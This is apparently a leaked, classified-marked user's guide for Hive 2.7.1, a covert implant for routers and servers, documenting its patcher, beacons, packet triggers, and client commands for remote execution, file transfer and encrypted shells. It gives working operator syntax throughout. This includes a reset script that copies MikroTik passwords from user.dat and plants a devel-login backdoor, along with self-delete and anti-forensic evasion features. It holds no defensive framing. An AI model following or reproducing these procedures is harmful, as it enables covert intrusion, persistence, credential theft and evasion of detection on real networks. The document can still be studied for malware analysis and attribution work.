



(U) Hive 2.7.1 User's Guide

May 5, 2014

Classified By: 0706993
Reason: 1.4(c)
Declassify On: 20390505
Derived From: COL S-06

(U) Table of Changes

Date	Change Description	Authority
10/26/2010	Initial Release v1.0	TDR
12/30/1899	DR Release v1.0.1	TDR
01/12/2011	Release v1.0.2 for Linux/MikroTik MIPS-BE	TDR
01/18/2011	Release v1.0.2 for Linux/MikroTik PPC	TDR
02/14/2011	Release v1.0.2 for Solaris 9-10 x86 & Linux x86	TDR
03/07/2011	Release v1.0.2.1 for Linux/MikroTik MIPS-LE	TDR
04/14/2011	Release v1.1	TDR
04/29/2011	Release v2.0	TDR
05/16/2011	Release v2.1	TDR
06/27/2011	Release v2.2	TDR
08/02/2011	Release v2.2	TDR
10/24/2011	Honeycomb Release v1.1	TDR
10/24/2011	Hive ILM v1.1 Release	TDR
12/12/2011	Release v2.3	TDR
01/23/2012	Release v2.3.1	TDR
03/05/2012	Release v2.4	TDR
03/05/2012	Hive ILM v1.2.1 Release	TDR
06/14/2012	Release v2.5	TDR
11/15/2012	Release v2.5.1	TDR
12/17/2012	Release v2.5.2	TDR
02/11/2013	Release 2.6	TDR
03/15/2013	Release 2.6.1	TDR
01/13/2014	Release 2.6.2	TDR
03/17/2014	Release 2.7	TDR
04/03/2014	Release 2.7.1	TDR
05/05/2014	Corrections to section 3.3.2.2	EDG/AED/EDB

(U) Table of Contents

1 (U) Overview.....	1
2 (U) Pre-Deployment.....	3
2.1 (S) Swindle.....	3
2.2 (S) Tool Handler.....	3
2.3 (S) Patcher.....	4
2.3.1 Use.....	4
2.3.2 ID Keys File.....	5
2.4 (S) SSL Certificates.....	5
3 (U) Deployment.....	6
3.1 (S) Beacons.....	6
3.2 (S) Triggers.....	6
3.3 (S) Clients.....	7
3.3.1 (S) hclient.....	7
3.3.2 (S) Cutthroat/Hive-ILM.....	8
3.3.3 (S) Client Operational Notes.....	13
3.4 (S) hiveReset_v1_0.py.....	14
4 (U) Post-Deployment.....	16
4.1 (S) Self-Delete.....	16
5 (U) Troubleshooting.....	17
6 (U) Appendix A: Idiosyncrasies & Limitations.....	18
7 (U) Appendix B: Release Notes.....	19
V2.7.1 04/03/2014.....	19
V2.7 03/10/2014.....	19
V2.6.2 01/13/2014.....	19
V2.6.1 03/15/2013.....	19
V2.6 01/30/2013.....	19
V2.5.2 12/06/2012.....	19
V2.5.1 11/29/2012.....	20
V2.5 06/20/2012.....	20
V2.4 03/05/2012.....	20
V2.3.1 01/23/2012.....	20
V2.3 12/12/2011.....	20
V2.2 08/22/2011.....	21
V2.1 05/23/2011.....	21
V2.2 08/22/2011.....	22
V2.1 05/23/2011.....	22
V2.0 05/9/2011.....	22
V1.1 04/14/2011.....	23
V1.0.2 01/21/2011*, 02/14/2011**, 03/07/2011***.....	23
V1.0.1 2/22/2010.....	23
V1.0 10/27/2010.....	23

8 (U) For Further Assistance.....	25
--	-----------

1 (U) Overview

(S) Hive is a software implant designed with “Ring 2” operations in mind. It has two primary functions: beacon and interactive shell. By design, both are limited in features with the purpose of providing an initial foothold for the deployment of other full featured tools.

(S) Hive provides implants for the following target operating systems and processor architectures See section7 starting on page 19 for more details about available and tested versions.

Platform	Available	Untested
Linux x86	V2.7.1	-
MikroTik MIPS-BE 3.x	-	V2.7.1
MikroTik MIPS-BE 4.x	V2.7.1	-
MikroTik MIPS-LE 3.x	-	V2.7.1*
MikroTik MIPS-LE 4.x	-	V2.7.1*
MikroTik PowerPC 3.x		V2.7.1
MikroTik PowerPC 4.x	V2.7.1	-
MikroTik x86 3.x	-	V2.7.1
MikroTik x86 4.x	V2.7.1	-
Solaris SPARC	V2.7.1	-
Solaris SPARC 10	V2.7.1	-
Solaris SPARC 8	V2.7.1	-
Solaris x86 10	V2.7.1	-
Solaris x86 8	-	-
Solaris x86 9	V2.7.1	-
Ubiquiti AirOS 5.5	V2.7.1	
Windows 2000	v2.4	-
Windows Server 2003	v2.4	-
Windows XP SP0-SP3	v2.4	-

* Linksys WRT54G flashed with DD-WRT v24sp2 used as surrogate for testing MikroTik MIPS-LE binaries. No actual RouterBoard (i.e. MikroTik) hardware was used.

(S) The Hive release consists of the following files along with the unpatched binaries.

Filename	Function
css.xml	XML file for cutthroat's custom command set.
cutthroat	Standardized interface for operators to run <i>hclient</i> .
hclient	Linux executable. Used to send triggers to and interactively communicate with the Hive implants. Has not been updated since Hive v1.X, but most implant features still work with it.
hive	Cutthroat ILM (i.e. module, shared library object). Provides the client functionality to send triggers to, and interactively communicate with, the Hive implants.
hive-patcher	Linux executable. When run, it produces executables with command line parameters patched-in.
hiveReset_v1_0.py	Python script for updating existing hive implants on remote boxes with a more recent version.
honeycomb.py	Linux executable. Tool handler for Hive beacons. HTTPS beacons validated by Swindle are passed to Honeycomb. Honeycomb receives and logs the beacons.
swindle.cfg	ASCII text file. Hive beacons use Loki's Blot DP/LP. Swindle is the HTTPS proxy that verifies the beacons before forwarding to the tool handler.

(S) Below is the list of files included in this release, along with their size and MD5 hashes.

Filename	File Size (bytes)	MD5 Hash
CCS.xml	490235	1dd06dd5b74ceb7cab9b599a22f99975
cutthroat	1095780	caba38dc033c86f5f9daa837dfe4c2fa
hive	671089	8fae4f275f2ab57d22a4ddaa39e5abbd
hive-patcher	1381260	83384207508898c61978b9b365aaee43
hiveReset_v1_0.py	60292	d3153e378e24f4bed0ceddfcab599fb8
honeycomb.py	15500	5ef80df352e52e191556663c0bcc3059
swindle.cfg	680	3b9185be038c826c39734f1be273b37f
Unpatched Binaries		
hived-linux-i386-unpatched	165312	663bf6f2a0ee984b9dfa243cc7f3eede
hived-mikrotik-i386-unpatched	163522	9ff8f6f017e30a2b17463794cc3cf224
hived-mikrotik-mipsbe-unpatched	234820	81e505ddbca057bc6df0ee6fdba6127d
hived-mikrotik-mipsle-unpatched	235167	b6854e14b2cd023b4fb0c562fb87b07e
hived-mikrotik-ppc-unpatched	175816	db6ef20cb5fbcce3596bc0317573d1e6
hived-solaris-i386-unpatched	174764	79f7c24546a3e5adfc093e9465b0feb
hived-solaris-sparc-unpatched	207776	269023d647deaaa52d6835714a873c14

2 (U) Pre-Deployment

(S) Before initial deployment, Loki's Blot/Swindle must be set-up with Hive's Tool ID (0x65ae82c7) to proxy connections to the Honeycomb tool handler. Honeycomb can reside on the same server as Swindle but it is strongly recommended that it be deployed on a different server. Honeycomb acts much like a traditional iterative server that handles incoming beacon connections one-by-one. After the implant is validated by Swindle, the implant traffic is re-routed directly to Honeycomb. Honeycomb then establishes an encrypted session with the implant. Swindle continues to proxy the encrypted network packets.

2.1 (S) Swindle

(S) Loki documentation covers the procedures for setting up a Blot DP/LP with Swindle, as such procedures are beyond the scope of this document. Hive provides a sample Swindle configuration file (`swindle.cfg`) to be saved to `/etc/blot/` on the Swindle server. Restarting Swindle (`service swindle restart`) will re-read the configuration file. The Hive project made no changes to the Swindle binaries or server and aims to fully conform to the existing Swindle protocols and procedures. In the Swindle configuration file, the most important parameters are the IP and port for the tool handler (e.g. Honeycomb) and the Hive Tool ID.

2.2 (S) Tool Handler

(S) Honeycomb is a server application that handles the beacons proxied from Swindle. The Honeycomb server can be configured to start the tool handler automatically at system start (via the `/etc/init.d` or `/etc/rc.local` scripts).

Honeycomb accepts the following command line options:

```
python2 honeycomb.py [-p <port>] [-f <file path>] [-l <log path>]
```

where:

<port> is the port that honeycomb will listen on for proxy connections coming from Swindle.

<file path> is the location where beacon rsi files will be written.

<log path> is the location where beacon log files will be written.

(S) Upon receiving a beacon, Honeycomb will parse-out the MAC address, public IP address, and uptime of the implanted box. Honeycomb will then write out a ".rsi" file that is one-way transferred for ingestion into Ripper Snapper. The implant ID used in the Ripper Snapper files is the unformatted MAC address of the implanted box. As of Hive 2.0 additional survey data are collected from the beacon. Additional information on this data can be found in section 3.1.

(S) Hive v2.0 functionality was added to Honeycomb so that it will keep a basic log of beacons that are received. Every beacon will have a log entry created that contains a timestamp of when the beacon was received, the MAC address, public IP address, and the version of the implant that beacons. In addition, for Hive v2.0 beacons and later, there will be a flag related to which OS the beacon came from.

2.3 (S) Patcher

(S) `hive-patcher` patches parameters into the implant binaries to reduce the implant's footprint on the target. The patcher “gives birth” to the implant binaries. In other words, the patcher creates the needed binaries for the operator without requiring a pre-existing reference executable. The patcher will create patched versions (with the string “PATCHED” in the file name) in the current working directory from where the patcher is run. Hive implants are not required to be patched, as the implants will still use command line arguments. However, in the case where the Hive implant is patched AND the operator passes it runtime arguments, the implant will only use the patched arguments. Except for the '-m' option, the patcher and the implant accept the same options.

2.3.1 Use

The patcher command syntax is as follows. At a minimum, the address of the beacon server, the ID key or the name of the file containing the ID key must be supplied. (For Solaris, an interface is also required.)

```
hive-patcher -a <beacon address> [-p <port>] [-d <beacon delay>] \
  [-i <beacon interval>] [-j <beacon jitter>] \
  [-s <self-delete delay>] [-t <callback-delay>] \
  [-I <solaris interface>] [-m <OS>] \
  (-k <ID key>] | -K <ID key filename>)
```

where:

- a <beacon addr> is the IP address or hostname of beacon server, that is, the Swindle proxy.
- p <beacon port> is the (optional) beacon port. Default is 443 for HTTPS which is the protocol that the Hive implants and Swindle emulate.
- d <initial beacon delay> is the initial delay (in seconds) before the first beacon is sent. If set to 0, then beacons will be disabled.
- i <beacon interval> is the beacon interval or sleep time between beacons (in seconds).
- j <beacon jitter> is the beacon jitter (as a percentage). That is, the amount of beacon variation as a percentage of current beacon interval.
- s <self-delete delay> is the self delete delay (in seconds). Amount of time since last successful beacon or trigger allowed to pass before self-deletion occurs. If unused, the default value is 60 days.
- t <callback delay> is the (optional) delay (in seconds) from when the trigger is received and the callback +/- 30 seconds.
- I <interface> (Solaris only) The interface on which to listen for triggers. Usually something like “hme0” or “e1000g0”. Required option for Solaris, but ignored for Linux and MikroTik.
- m <OS> is the target operating system. Patch parameters into this type of executable. Options are 'all', 'raw', 'win', 'mt-x86', 'linux-x86', 'sol-x86', or 'sol-sparc'. 'all' is the default. 'raw' provides all binaries but unpatched versions.
- k <ID key> Trigger ID key with a minimum length of 8 characters and a maximum length of 1000 characters. Quotes must be used if there are embedded spaces.
- K <ID key filename> The name of the file containing the ID key. The contents of this file must be greater than 8 characters in length.

2.3.2 ID Keys File

(S) For each ID key that the patcher generates, a copy of the actual key used, the SHA1 hash that is used as the trigger key, and the SH1 hash of the trigger key (used in the implant for trigger validation) are stored in a file named ID-keys.txt along with a date/time stamp showing when the key was generated.

Examples:

(S) Patch a Linux-x86 executable to beacon to 10.3.2.169:443 every hour, with 5% beacon jitter variance, after default initial delay using:

```
hive-patcher -a 10.3.2.169 -i 3600 -j 5 -m linux-x86 -k "Testing Testing"
```

(S) Patch Solaris SPARC executable to beacon to 10.3.2.169:443 every hour with initial delay of one hour using interface hme0 with:

```
hive-patcher -a 10.3.2.169 -p 443 -i 3600 -d 3600 -I hme0 \  
-m sol-sparc -k Testphrase
```

(S) **NOTE 1:** Change the name of the resulting executable into another name that would be consistent with hiding it on the target system before deployment. Record the new name so you can use it for future reference as required.

(S) **NOTE 2:** The patcher will support host names up to 256 characters long.

2.4 (S) SSL Certificates

(S) The implant communicates with the Hive client using SSL connections. Three files, *server.crt*, *server.key* and *ca.crt*, must be installed in the same directory as the client and must have read permissions set so they can be accessed by the client. **Communications with the implant will fail if any one of these files are missing or invalid.** (For an example see section 5 on page 17.)

3 (U) Deployment

3.1 (S) Beacons

(S) Patched or unpatched implants are provided by the generator application. In the case of unpatched implants, the implant is started on target using the same command line arguments as the patcher, less the patcher's '-m' option (see Section 2.3). The Solaris, Linux, and MikroTik implants will detach from the user's terminal and fork into the background.

(S) The goal is for the operator to have a consistent user experience, regardless of the implant's operating system. On the wire, the implant mimics a SSLv3 handshake with Swindle (LP) and then sends a small amount of encrypted data to the tool handler. The encrypted beacons consist of the Swindle Tool ID, system uptime, and MAC address*. Hive version 2.0 added additional survey information to the beacon. This data includes a process listing, ipconfig/ifconfig, "netstat -rn", and a "netstat -an". In the event the survey fails, the RSI file will show an empty data element in the XML.

(S)*NOTE: The Solaris implant attempts to pull the MAC address first from an interface named `hme0` and then `e1000g0` regardless of whether those interfaces are configured, active, or not. Similarly, the Linux and MikroTik implants use the MAC assigned to the `eth0` interface. At this time, the MAC address is used only as a unique identifier for tracking implants.

(S) The beacon parameters cannot be changed dynamically by the hive tool handler. To change the beacon parameters, the implants need to be re-patched with new parameters and re-deployed, or in the case of unpatched implants, they need to be restarted with new command line arguments.

3.2 (S) Triggers

(S) The Hive client establishes an interactive session with the implant by sending it a trigger. **Starting with Hive version 2.7 only two trigger types are supported: raw-tcp and raw-udp.**

(S) The raw-udp trigger can be sent to any UDP port on the target system. The raw-tcp trigger can be sent to any open and listening port on the target system.

(S) The Hive implant watches for trigger packets in the incoming flow of network traffic. This “sniffer” behavior is slightly different on each operating system. On Solaris, the user must specify which single interface to sniff via either the patcher or the command line using the `-I` switch. On Linux and MikroTik, Hive listens on all physical interfaces.

(S) Once the implant receives a valid trigger, it pulls the callback IP address and port from the trigger packet, waits a default delay, and then calls back to the listening Hive client. Once connected, the implant and Hive client perform a TLS handshake and initializes an AES encrypted session. See (U) *Appendix A: Idiosyncrasies & Limitations* on page 18 for special situations.

3.3 (S) Clients

3.3.1 (S) hclient

(S) The Hive client has been designed so that triggers can be sent from one Hive client and callbacks caught with another. Or, if preferred, triggers from and callbacks to the same Hive client (default). This behavior is configured via the Hive client command line as detailed here.

To listen only:

```
./hclient-linux -p <port>
```

To trigger only or trigger & listen:

```
./hclient-linux -p <port> [-t <target IP>] [-a <listener IP>] \  
[-P <protocol>] [-r <raw port>] [-m <mode>] [-h] \  
(-k <ID key> | -K <ID key filename>)
```

where:

- p <port>** is the callback port.
- t <target IP>** is the IP address of target (required for triggers).
- a <listener IP>** is the IP address of listener (required for triggers).
- P <protocol>** is the trigger protocol: dns-request, tftp-wrq, icmp-error, ping-reply, ping-request, raw-tcp, or raw-udp (required for triggers).
- r <raw port>** is used when using raw triggers. This specifies on which port to send the trigger. (required for raw triggers)
- m <mode>** tells the client to listen-only (l), trigger-only (t), or both (b). Both is the default.
- h** prints the usage.
- k <ID key>** Trigger ID phrase with a minimum length of 8 characters and a maximum length of 1000 characters.
- K <ID key filename>** The name of the file containing the ID key. The contents of this file must be greater than 8 characters in length.

(S) Once connected, the Hive client provides an interactive session with basic functions. "Old school" operators will recognize the Hive client – it is essentially the same interface with commands used by the Forklift tool.

(S) List of allowable commands:

execute exec exe	execute an application on the remote computer
upload ul up	upload a file to the remote computer
download dl	download a file to the local computer
delete del	delete a file on the remote computer
exit q	close the TCP connection but keep the server running on the remote computer
shutdown shut	Same as exit. This DOES NOT uninstall or delete the implant. See NOTES below for details.
help	display help information

(S) Examples of command usage:

```
./hclient-linux> exec <remote application name>
./hclient-linux> ul <local src filename> <remote dest filename>
./hclient-linux> dl <remote src filename> <local dest filename>
./hclient-linux> del <remote filename>
./hclient-linux> exit
./hclient-linux> shut
./hclient-linux> help
./hclient-linux> exec "rm -f filename"
./hclient-linux> exec "del filename"
```

(S) **NOTE:** The secure shell is not supported by hclient.

3.3.2 (S) Cutthroat/Hive-ILM

(S) The same hclient functionality described in Section 3.3.1 is available as a Cutthroat Implant Library Module (ILM). Cutthroat is the standardized management interface for controlling the Hive implants, versus the executable hclient-linux binary. You should verify that your version of cutthroat is operational by entering the command `./cutthroat`. To use cutthroat with Hive, you must also have *hive* (the implant library module) and *CCS.xml* installed in the same directory as cutthroat. To start the Hive implant library module, you must first enter the following commands: `./cutthroat hive` or `./cutthroat` followed by `load hive`. **It should be noted that two of Cutthroat's commands, *verbosity* and *mode* are not used by the Hive implant and should be ignored.**

(S) If the Hive ILM loads, the operator will see a `"[success] Successfully loaded hive [load]"` message followed by cutthroat's standard greeting which includes cutthroat's version number on the computer terminal. The operator may hit the "tab" key at any time to see a list of available commands for the operator to select while operating cutthroat.

(S) **Warning:** When using two clients to separately handle trigger and listen, the operator should start the listener first. The operator should assume failure unless the operator receives a "Success" message via the cutthroat interface.

(S) **NOTE:** When the target is a Solaris platform, do not close any shell until the end of the session. If you do, you must retrigger the device to use any trigger commands (e.g. upload, download, etc.). The ILM reminds the user with the following note:

***NOTE FOR SOLARIS ONLY:** Keep all shells open until you are done. Once you close any solaris shell, the trigger will appear normal but it is no longer connected. In this case, you must quit the trigger and retrigger the device.*

3.3.2.1 ILM States and Commands

3.3.2.1.1 (S) Disconnected State

(S) While in a disconnected state, the following commands are available:

ilm trigger	send trigger to remote host
ilm listen	listen for reverse connect from remote host
ilm connect	combines functions of trigger and listen.
quit	exits the cutthroat application
verbosity	unused
mode	unused

3.3.2.1.2 (S) Disconnected State: Cutthroat Listener

(S) To start the listener, enter:

```
ilm listen <port number>
```

where <port number> is any number from 1 through 65535. For example, if the operator enters “ilm listen 4567”, they should observe the following message “Listening for connection on port 4567 ...”.

(S) The listener will continue listening on the assigned port until it receives a response from the implant or the operator kills the current process.

3.3.2.1.3 (S) Disconnected State: Cutthroat Connect

(S) The connect option combines the functionality of the trigger and listen options. Connect is called in the exact same way as trigger, with the use of a trigger file being it's only parameter:

```
ilm connect <triggerFileName>
```

See the section 3.3.2.1.4 for details on how to create a trigger file.

3.3.2.1.4 (S) *Disconnected State: Cutthroat Trigger*

(S) To start the trigger, enter:

```
ilm listen <triggerFileName>
```

where the <triggerFileName> is the name of any file in the directory where cutthroat is running. If the trigger file does not exist, it will be created and the operator prompted for the following information:

Listener's IP Address	IP address used by the implant to connect back to the Listener.
Listener's Port Number	Open port on the Listener waiting for the implants callback
Target IP Address	IP address where the implant is currently installed.
trigger protocol	trigger protocol: <i>dns-request, tftp-wrq, icmp-error, ping-reply, ping-request, raw-tcp, raw-udp</i> (Required for triggers.)
raw port	Raw Port number in the range of 1 through 65535 where the raw-tcp or raw-udp trigger will be sent. For all other trigger protocols (i.e. dns-request, tftp-wrq, icmp-error, ping-reply, ping-request), this should be set to -1.

(S) Additional information on the trigger file can be found below in 3.3.2.2.

(S) If the trigger file already exists, then the details of the trigger will be displayed and the trigger sent as shown in the example below.

```
> ilm connect 10.2.5.6

Using existing target profile.
  Listening for connection on port 9090 ...
Using existing target profile.

Trigger details:
. Remote IP address 10.2.5.6 with raw-tcp trigger on port 22
. Callback IP address 10.6.5.195 on port 9090
. Trigger key: 99c884b90f6d2c6086075661a84f11798d0bddf6

Trigger sent.

... connection established!

Connection details:
. Remote IP address 10.2.5.6 on port 41806
. Local IP address 10.6.5.195 on port 9090

Enabling encrypted communications:
. TLS handshake complete.

[Success]
***** Success *****
[ilm connect 10.2.5.6]

[10.2.5.6]>
```

(S) If everything worked, the listener should receive a callback from the implant based on implant's configured trigger delay. The client is now in a *connected state*.

(S) NOTE: If more than one implant residing on the same network is keyed the same, the operator should verify that the “[<implant IP address>]” prompt displayed (as seen on the last line of the example) is the intended target's IP address.

3.3.2.1.5 (S) Connected State

Once the cutthroat client is connected to the implant, additional commands will be available for control of the implant. Below is the list of available commands:

cmd exec	execute an application on the remote computer. As an argument, enclose the command to execute in double or single quotes. See example below.
file put	upload a file to the remote computer. Requires 2 arguments: source and destination filenames. NOTE: Be sure the target has sufficient space for the file, as Hive does not currently provide any indication of an unsuccessful transfer due to insufficient space on the filesystem.
file get	upload a file to the remote computer. Requires 2 arguments: source and destination filenames.
file delete	delete a file on the remote computer. Requires 1 argument: filename.
ilm exit	close the Listener's TCP connection, but keep the server implant running on the remote computer. Cutthroat application stays open. Same as shutdown now.
quit	close the Listener's TCP connection, but keep the server implant running on the remote computer. Cutthroat application will also close.
shutdown now	close the Listener's TCP connection, but keep the server implant running on the remote computer. Cutthroat application stays open. Same as ilm exit.
shell open	open an encrypted shell with the client (as a separate process). Takes three parameters in the following order: client IP address, client port number, and a password that initializes the Twofish symmetric cipher. See the example below. <i>Hive v2.7.1 supports the encrypted secure shell on all devices.</i> NOTE: This shell will remain open and connected to the target host until exited even if the ILM client is exited.

(S) Examples of command usage:

```
[10.2.5.22]> cmd exec "/path/to/file arg1 arg2"
[10.2.5.22]> file delete /path/to/file
[10.2.5.22]> file get /path/to/remote/file /path/to/local/file
[10.2.5.22]> file put /path/to/local/file /path/to/remote/file
[10.2.5.22]> ilm trigger /name/of/trigger/file
[10.2.5.22]> ilm exit
[10.2.5.22]> shutdown now
[10.2.5.22]> shell open 192.168.1.100 4444 Password1
```

3.3.2.2 (S) ILM Trigger File Format

(S) When a trigger file is created the trigger parameters are inserted on a single line separated by a '|' character between each field. This file can be easily edited for making changes to a trigger, or copied and edited to create additional triggers.

(S) A sample trigger file is looks like this:

```
10.3.2.141|4567|10.2.5.99|keyphrase||raw-tcp|22
```

(S) The listener's IP address is 10.3.2.141, listening on port number 4567. The implant is running on a target host with an IP address of 10.2.5.99. A raw-tcp protocol type will be used to trigger the implanted device. This is followed by two fields, one of which will be empty. The first holds the trigger key phrase ("keyphrase"), the second for a file name that holds a key. If a key file was used to store the key, the line would look like this:

```
10.3.2.141|4567|10.2.5.99||keyfilename|raw-tcp|22
```

(S) The last parameter, 22, is the port number to which the trigger is sent.

3.3.3 (S) Client Operational Notes

(S) The following topics are common to both hclient and ILM clients.

3.3.3.1 (S) File Deletion

(S) By default, the *delete* command will attempt a *secure delete* and overwrite the named file with zeros before deletion. If the *secure delete* fails, it will return an "unsuccessful" status to the Hive client. If the *secure delete* fails, the operator should then try to execute an "exec" command with either an "rm -f <filename>" command, as shown in the examples in sections 3.3.1 and 3.3.2.1.5 above.

3.3.3.2 (S) Default File Permissions

(S) On Solaris, Linux, and MikroTik, files uploaded are written to the remote system with 644 permissions. After uploading an executable, and before executing it, make the file executable by using Hive to execute `chmod a+x <filename>`.

3.3.3.3 (S) Shutdown Command

(S) The *shutdown* command only causes the implant to stop running its current instance. This means that when the target is rebooted, the implant will restart. The shutdown command does not delete the implant or uninstall it from the boot-time start-up routines.

3.3.3.4 (S) Connection Timeouts

(S) Currently all versions are able to recover from the loss of connection between implant and client. This is achieved by Hive spawning off a separate process to handle each triggered connection. This also allows multiple connections to the same implant. There are currently two timeouts enabled on these connections. The first is a connect timeout. **If a Hive implant is unable to connect back to the client after 5 minutes, the connection will kill itself. Hive will also kill the connection to an implant after 60 minutes of inactivity.** Currently, there is no notification in the client that a connection has been closed; however, when the next command is entered the client will report that the command can not be completed.

3.3.3.5 (S) Trigger ID Keys

(S) ID keys are used to control triggering of implants so that only one or one set of implants will respond to a given trigger. ID keys must be supplied to both the client(s) and server(s) (implant(s)). **It is important to ensure that the keys used on the client are identical to those used in the implant.** In

particular, it is possible to start the implant with an ID key on the command line and attempt to trigger the implant using an ID key file that, while it looks identical, differs only by a newline character at the end. **Some Linux-based text editors (e.g. vim) automatically add a newline at the end of any line that doesn't include one.**

3.4 (S) hiveReset_v1_0.py

(S) Since Hive has been installed and used on such a wide scale, an update capability was provided for updating the Hive implants on remote boxes. This script requires Python 2.7 with a “pexpect” module/capability. It is expected that Cutthroat and the Hive ILM also be located in the same directory as the *hiveReset_v1_0.py* script. **To update a remote box, you must first have the following information:**

Old implant file name	Name of Hive implant <u>currently running</u> on the remote box.
Installation directory	full path name that starts and ends with a “/” where the old Hive implant is currently installed (e.g. <i>/rw/pckg/</i>).
Operating System	Mikrotik MIPS LE, Mikrotik MIPS BE, Mikrotik PPC, Mikrotik x86, Solaris sparc, Solaris x86, or Linux.
Full busybox name	For Mikrotik routers only. Includes the full path prefix with busybox name (e.g. <i>/rw/pckg/busybox</i>).
New Hive implant name	New Hive implant filename that was just created using the <i>hive-patcher</i> program specified above.
Cutthroat parameters	Callback IP and port, trigger type, remote IP (box with Hive implant that will be updated), etc. as specified above.

(S) After the operator has determined all the above parameters and has the necessary files (new Hive implant, Cutthroat, and Hive (ILM)), the operator may update a box using the following command:

```
hiveReset_v1_0.py [-s, -b] -f <Configuration File name>
```

where the -s option means only a single box will be updated and the -b option refers to a batch process where multiple boxes are updated. Note that the user may also use a -h option to display a usage statement. If the configuration file does not exist, just give it a new name and it will be created after the operator has answered a variety of questions.

(S) This same configuration file, can be used to update multiple Hive implants as long as they have the same configuration. For example if two boxes with IP addresses of 10.1.2.3 and 10.3.2.1 respectively are running an old Hive implant (same name) in the same installation directory (same full path name) with the same busybox name “e.g. */rw/pckg/busybox*” both boxes could be updated using the following command:

```
hiveUpdater.py -b -f <Configuration File name>
```

where the Configuration File contains a line for the target File which contains the IP address of each box being updated. In this case, “10.1.2.3” and “10.3.2.1” would both be on a separate line. Note that this list may contain multiple target IP addresses, but all the Hive Updater Configuration settings contained

within the configuration file must be the same. Note that once these files are created, they may be used again for all future updates as long as the parameters remain the same.

(S) Note that this python script also contains a reset option which will reset the /var/.config timer file for all linux, Mikrotik, and Solaris boxes. This reset script was also modified to retrieve passwords and create one directory on all Mikrotik devices per guidance from COG based on their standard exploits. Passwords contained in the /nova/store/user.dat and the /rw/store/user.dat files are stored in a pA.IPAddress and pB.IPAddress files respectively for Mikrotik devices. The reset capability will also create a /nova/etc/devel-login file that is used by COG to exploit the targeted device.

(S) It has been noted that this same update capability can and will be upgraded/expanded in future versions of Hive to install other modules and tools for target exploitation in an automated fashion.

4 (U) Post-Deployment

4.1 (S) Self-Delete

(S) Self-delete was first added to Hive in version 2.2 and is used to ensure that any Hive implant that lays dormant (has not beacons successfully to its designated LP or has not been triggered from a command post) for a predetermined amount of time effectively destroys itself with the only remnant being a “configuration file” (.config) and a log file (.log) left behind in /var directory. During normal operation the .config file is empty, with its last modified time indicating the time of last contact – either from a beacon or a trigger – and the .log file is non-existent. When self-delete executes, the Hive binary is deleted from the host and the .log file is created with a time stamp inserted into it using the format yymmddHHMMSS. (The time stamp inserted into the file should match the last modification time of the file.) On Linux and MikroTik, the implant will overwrite the binary on the filesystem with zeros. On Solaris, a self deleting shell script is created at "/tmp/.configure.sh". This shell script will delete the Hive binary from disk and then delete itself.

(S) The decision to self-delete is determined by the difference between the system time and the last-modified time stamp on the configuration file. Whenever the system time exceeds the time stamp on the configuration file by more than the delete delay, Hive will self-delete. It is important to note that the system time on implanted devices may vary widely depending upon the environment. Consequently, the simple act of correcting the date/time on the device by a system administrator could result in self-deletion.

5 (U) Troubleshooting

(S) Below is an example two ILM client sessions, the uncolored area being common to both. The light green section shows a good connection, the light yellow a bad connection that was caused by using an SSL certificate chain (*ca.crt*) that doesn't match the server certificate (*server.crt*).

```

root@kubuntu-11:~/hive# ./cutthroat ./hive
[success] Successfully loaded ./hive [load]

CutThroat
JY008C634-6
Version: 2.2
CCS Version: 2.2

Usage:

    verbosity <level>          Sets the verbosity level
    mode <new mode>            Sets the operating mode of CT
    load <ILM Filename>        Loads the library
    quit                        Exits Command Post

> ilm connect 10.6.5.190
Listening for connection on port 8123 ...

Trigger details:
. Remote IP address 10.6.5.190 with raw-udp trigger
. Callback IP address 10.6.5.195 on port 8123

Trigger sent.

... connection established!

Connection details:
. Remote IP address 10.6.5.190 on port 42146
. Local IP address 10.6.5.195 on port 8123

Enabling encrypted communications:
. TLS handshake complete.

[Success]
***** Success *****
[ilm connect 10.6.5.190]

Enabling encrypted communications:
> Error: Certificate chain verification failed: NOT TRUSTED
* Error: TLS connection with TLS client failed to initialize.
[Local Failure]
***** Local Failure *****
[ilm connect dns]

>

```

6 (U) Appendix A: Idiosyncrasies & Limitations

(S) On Solaris or Linux, executing a GUI program without backgrounding the process (using an ampersand on the command line following the command) may cause the interactive session to hang. Generally, it is probably a bad idea to execute a GUI program on your target anyway.

(S) On Solaris, Linux, and MikroTik, files uploaded are written to the remote system with 644 permissions. After uploading an executable and before executing it, make the file executable by using Hive to execute `chmod a+x <filename>`.

(S) The patcher will support hostnames up to 256 characters long.

(S) MikroTik systems store DNS configuration in a proprietary format. Even if the MikroTik is configured with DNS server(s), the MikroTik system libraries don't know how to read it. Therefore, Hive cannot resolve hostnames. The operator could enable DNS by creating the `/etc/resolv.conf` file and marking it as executable. The following example uses Google's public DNS server:

```
echo "nameserver 8.8.8.8" > /etc/resolv.conf && chmod a+x /etc/resolv.conf
```

(S) The implant sniffs all traffic it can see, looking for a valid trigger. For example, if there are multiple hosts on a hub (not a switch), a trigger packet sent to a non-implanted host will be seen by the implant and cause a callback. Similarly, if there are multiple implanted hosts on a hub, then a race condition exists. The host implant responding first will typically get the connection. This can also have other ramifications. For example, if the border router is implanted, as well as others deeper in the target network, all triggers sent to any host (implanted or not) in that network will be first seen by the border router and the operator will receive a callback from the Hive implant on the border router.

(S) To verify secure delete on Solaris, one must first unmount the partition.

(S) If the system time on target is reset or advanced 60 days into the future, the Hive implant will self-delete itself. Also if the target machine is down for 60 days, the implant will self-delete itself on startup.

7 (U) Appendix B: Release Notes

This appendix is classified SECRET//NOFORN in its entirety.

V2.7.1 04/03/2014

- Fixes a bug in the implant that may terminate execution due to a corrupted trigger payload.

V2.7 03/10/2014

- An ID key was added to prevent implants from being discovered by replaying a trigger to selected hosts on a network. The key can be made unique for one implant or a set of implants.
- Support for ICMP and DNS triggers has been removed, as these triggers now require additional network overhead (packets) to cause an implant to trigger and, consequently, increase the risk of discovery.
- More (unsupported) Windows code and references within the documentation have been removed.

V2.6.2 01/13/2014

- Uses polarssl havege code to produce random numbers versus /dev/random or /dev/urandom because at reboot, MikroTik devices exhibited similar random number sequences. This resolves the issue of the LP seeing what it believes to be a TCP replay attack for MikroTik devices by properly seeding the random number generator in the implant for all architectures.

V2.6.1 03/15/2013

- Removes string definitions used to obfuscate debug code that was not needed in Hive releases, but that could be revealing if found.

V2.6 01/30/2013

- This release of Hive primarily addresses forensic issues discovered by a forensic analysis performed by IOC/AFD on Hive version 2.5 and documented in their report from October 26, 2012 (AFD-2012-0973-2). Hive 2.6 changes the common trigger encoding along with the encoding scheme for raw TCP and UDP triggers.
